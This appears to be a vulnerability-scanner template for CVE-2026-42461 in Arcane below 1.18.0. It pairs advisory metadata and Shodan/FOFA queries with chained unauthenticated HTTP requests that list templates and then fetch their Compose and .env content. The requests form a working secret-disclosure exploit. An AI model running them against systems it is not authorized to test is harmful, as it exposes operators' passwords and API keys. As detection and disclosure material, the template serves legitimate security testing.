CVE-2026-42461: Arcane < 1.18.0 - Unauthenticated Template and Env Disclosure

id: CVE-2026-42461

info:
  name: Arcane < 1.18.0 - Unauthenticated Template and Env Disclosure
  author: str4k3r
  severity: high
  description: |
    Arcane < 1.18.0 contains an information disclosure caused by missing authorization on /api/templates GET endpoints, letting unauthenticated network clients read sensitive Compose YAML and .env content, exploit requires network access
  impact: |
    Unauthenticated attackers can read sensitive operator secrets like database passwords and API keys, risking full system compromise.
  remediation: |
    Update to version 1.18.0 or later.
  reference:
    - https://github.com/getarcaneapp/arcane/security/advisories/GHSA-cxx3-hr75-4q96
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42461
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-42461
    epss-score: 0.01283
    epss-percentile: 0.6861
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: getarcaneapp
    product: arcane
    shodan-query: html:"/api/app-images"
    fofa-query: body="/api/app-images"
  tags: cve,cve2026,arcane,exposure

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "/api/app-images")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/templates/all HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "BaseApiResponseListTemplate")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: tid
        part: body
        group: 1
        internal: true
        regex:
          - '"id"\s*:\s*"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'

  - raw:
      - |
        GET /api/templates/{{tid}}/content HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "envContent")'
        condition: and
# digest: 4a0a0047304502210086579a1fdf61caef20931599658420a4957acf50fe89783f294dcb3f66704236022052c9dff9732ca5ff9904b6f9d06f82bdff5292a4edfcb989a39d9cd1c0f9875d:922c64590222798bb761d5b6d8e72950

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